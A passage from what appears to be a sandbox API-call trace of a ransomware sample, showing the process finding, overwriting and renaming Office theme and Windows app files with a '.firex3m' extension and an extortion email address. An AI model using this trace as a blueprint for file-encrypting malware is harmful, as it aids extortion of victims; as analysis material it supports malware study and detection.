lpFindFileData=0x447fc6c | out: lpFindFileData=0x447fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50d, dwReserved0=0x5b005f, dwReserved1=0x6f0063, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d51c0 [0261.399] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0261.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\compass\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0261.418] GetProcessHeap () returned 0x630000 [0261.418] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x521) returned 0x6f00fb0 [0261.418] GetProcessHeap () returned 0x630000 [0261.418] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x521) returned 0x6f014f8 [0261.418] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.418] ReadFile (in: hFile=0x678, lpBuffer=0x6f00fb0, nNumberOfBytesToRead=0x500, lpNumberOfBytesRead=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f00fb0*, lpNumberOfBytesRead=0x447ff0c*=0x500, lpOverlapped=0x0) returned 1 [0261.430] GetProcessHeap () returned 0x630000 [0261.430] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0261.430] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.430] WriteFile (in: hFile=0x678, lpBuffer=0x6f014f8*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f014f8*, lpNumberOfBytesWritten=0x447ff0c*=0x500, lpOverlapped=0x0) returned 1 [0261.430] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.430] WriteFile (in: hFile=0x678, lpBuffer=0x6f019f7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f019f7*, lpNumberOfBytesWritten=0x447ff0c*=0x20, lpOverlapped=0x0) returned 1 [0261.430] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.430] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x447ff0c*=0x4, lpOverlapped=0x0) returned 1 [0261.431] CloseHandle (hObject=0x678) returned 1 [0261.431] GetProcessHeap () returned 0x630000 [0261.431] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f014f8 | out: hHeap=0x630000) returned 1 [0261.431] GetProcessHeap () returned 0x630000 [0261.431] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f00fb0 | out: hHeap=0x630000) returned 1 [0261.431] GetProcessHeap () returned 0x630000 [0261.431] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0261.431] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.431] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fcc4 | out: lpFindFileData=0x447fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61c529ce, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x531, dwReserved0=0x447fd20, dwReserved1=0x6f00fb0, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d5200 [0261.431] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0261.431] Sleep (dwMilliseconds=0x1) [0261.444] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\Attribution\\weather_trends.png", len=0x75 | out: pbstr=0x447ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\Attribution\\weather_trends.png") returned 1 [0261.444] GetProcessHeap () returned 0x630000 [0261.444] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e68) returned 0x6fe3bb0 [0261.444] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\Attribution\\weather_trends.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\attribution\\weather_trends.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.446] Sleep (dwMilliseconds=0x1) [0261.451] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\Attribution\\kweather.png", len=0x6f | out: pbstr=0x447ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\Attribution\\kweather.png") returned 1 [0261.452] GetProcessHeap () returned 0x630000 [0261.452] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e58) returned 0x6fe3bb0 [0261.452] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\Attribution\\kweather.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\attribution\\kweather.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.456] Sleep (dwMilliseconds=0x1) [0261.500] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_LogoSmall.targetsize-256_altform-unplated.png", len=0x95 | out: pbstr=0x447ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_LogoSmall.targetsize-256_altform-unplated.png") returned 1 [0261.500] GetProcessHeap () returned 0x630000 [0261.500] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e44) returned 0x6fe3bb0 [0261.501] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_LogoSmall.targetsize-256_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weather_logosmall.targetsize-256_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.501] Sleep (dwMilliseconds=0x1) [0261.608] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\9.jpg", len=0x7b | out: pbstr=0x447ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\9.jpg") returned 1 [0261.608] GetProcessHeap () returned 0x630000 [0261.608] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e2c) returned 0x6fe3bb0 [0261.608] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\9.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\423x173\\9.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.608] Sleep (dwMilliseconds=0x1) [0261.657] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\7.jpg", len=0x7b | out: pbstr=0x447ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\7.jpg") returned 1 [0261.657] GetProcessHeap () returned 0x630000 [0261.657] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e1c) returned 0x6fe3bb0 [0261.657] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\7.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\423x173\\7.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.659] Sleep (dwMilliseconds=0x1) [0261.672] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\4.jpg", len=0x7b | out: pbstr=0x447ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\4.jpg") returned 1 [0261.672] GetProcessHeap () returned 0x630000 [0261.672] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e08) returned 0x6fe3bb0 [0261.672] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\4.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\423x173\\4.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.675] Sleep (dwMilliseconds=0x1) [0261.717] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\31.jpg", len=0x7c | out: pbstr=0x447ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\31.jpg") returned 1 [0261.717] GetProcessHeap () returned 0x630000 [0261.717] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4df8) returned 0x6fe3bb0 [0261.717] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\31.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\423x173\\31.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.721] Sleep (dwMilliseconds=0x1) [0261.736] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\19.jpg", len=0x7c | out: pbstr=0x447ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\19.jpg") returned 1 [0261.736] GetProcessHeap () returned 0x630000 [0261.736] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ddc) returned 0x6fe3bb0 [0261.736] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\19.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\423x173\\19.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.752] Sleep (dwMilliseconds=0x1) [0261.798] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\4.jpg", len=0x7b | out: pbstr=0x447ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\4.jpg") returned 1 [0261.799] GetProcessHeap () returned 0x630000 [0261.799] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dc0) returned 0x6fe3bb0 [0261.799] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\4.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\210x173\\4.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.800] Sleep (dwMilliseconds=0x1) [0263.226] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\195.png", len=0x7a | out: pbstr=0x447ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\195.png") returned 1 [0263.226] GetProcessHeap () returned 0x630000 [0263.226] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d08) returned 0x6fe3bb0 [0263.226] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\195.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\195.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.228] Sleep (dwMilliseconds=0x1) [0264.523] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\THMBNAIL.PNG", len=0x6e | out: pbstr=0x447ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\THMBNAIL.PNG") returned 1 [0264.523] GetProcessHeap () returned 0x630000 [0264.523] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c44) returned 0x6fe3bb0 [0264.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\canyon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0264.524] CloseHandle (hObject=0x5e4) returned 1 [0264.524] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0264.525] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\canyon\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\canyon\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0264.692] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0264.692] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fc6c | out: lpFindFileData=0x447fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x5b005f, dwReserved1=0x6f0063, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d53c0 [0264.692] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0264.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\canyon\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0264.693] GetProcessHeap () returned 0x630000 [0264.693] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7f61) returned 0x718b2f8 [0264.693] GetProcessHeap () returned 0x630000 [0264.693] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7f61) returned 0x7224258 [0264.694] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.694] ReadFile (in: hFile=0x5e4, lpBuffer=0x718b2f8, nNumberOfBytesToRead=0x7f40, lpNumberOfBytesRead=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x718b2f8*, lpNumberOfBytesRead=0x447ff0c*=0x7f40, lpOverlapped=0x0) returned 1 [0270.783] GetProcessHeap () returned 0x630000 [0270.783] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0270.784] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.784] WriteFile (in: hFile=0x5e4, lpBuffer=0x7224258*, nNumberOfBytesToWrite=0x7f40, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7224258*, lpNumberOfBytesWritten=0x447ff0c*=0x7f40, lpOverlapped=0x0) returned 1 [0270.784] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.784] WriteFile (in: hFile=0x5e4, lpBuffer=0x722c197*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x722c197*, lpNumberOfBytesWritten=0x447ff0c*=0x20, lpOverlapped=0x0) returned 1 [0270.785] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.785] WriteFile (in: hFile=0x5e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x447ff0c*=0x4, lpOverlapped=0x0) returned 1 [0270.785] CloseHandle (hObject=0x5e4) returned 1 [0270.785] GetProcessHeap () returned 0x630000 [0270.785] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7224258 | out: hHeap=0x630000) returned 1 [0270.786] GetProcessHeap () returned 0x630000 [0270.786] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718b2f8 | out: hHeap=0x630000) returned 1 [0270.787] GetProcessHeap () returned 0x630000 [0270.787] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0270.787] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0270.787] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fcc4 | out: lpFindFileData=0x447fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67595bd6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7f83, dwReserved0=0xb687496, dwReserved1=0x718b2f0, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d4f00 [0270.787] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0270.787] Sleep (dwMilliseconds=0x1) [0272.950] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-96.png", len=0x77 | out: pbstr=0x447ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-96.png") returned 1 [0272.950] GetProcessHeap () returned 0x630000 [0272.950] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e24) returned 0x6fe3bb0 [0272.950] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-96.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-96.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.952] Sleep (dwMilliseconds=0x1) [0274.822] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.scale-200_contrast-white.png", len=0x9e | out: pbstr=0x447ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.scale-200_contrast-white.png") returned 1 [0274.822] GetProcessHeap () returned 0x630000 [0274.822] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bb4) returned 0x6fe3bb0 [0274.828] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackageapplist.scale-200_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.829] Sleep (dwMilliseconds=0x1) Thread: id = 54 os_tid = 0xfbc [0067.524] Sleep (dwMilliseconds=0x1) [0067.537] Sleep (dwMilliseconds=0x1) [0067.555] Sleep (dwMilliseconds=0x1) [0067.654] Sleep (dwMilliseconds=0x1) [0067.664] Sleep (dwMilliseconds=0x1) [0067.677] Sleep (dwMilliseconds=0x1) [0067.695] Sleep (dwMilliseconds=0x1) [0067.708] Sleep (dwMilliseconds=0x1) [0067.727] Sleep (dwMilliseconds=0x1) [0067.739] Sleep (dwMilliseconds=0x1) [0067.765] Sleep (dwMilliseconds=0x1) [0067.771] Sleep 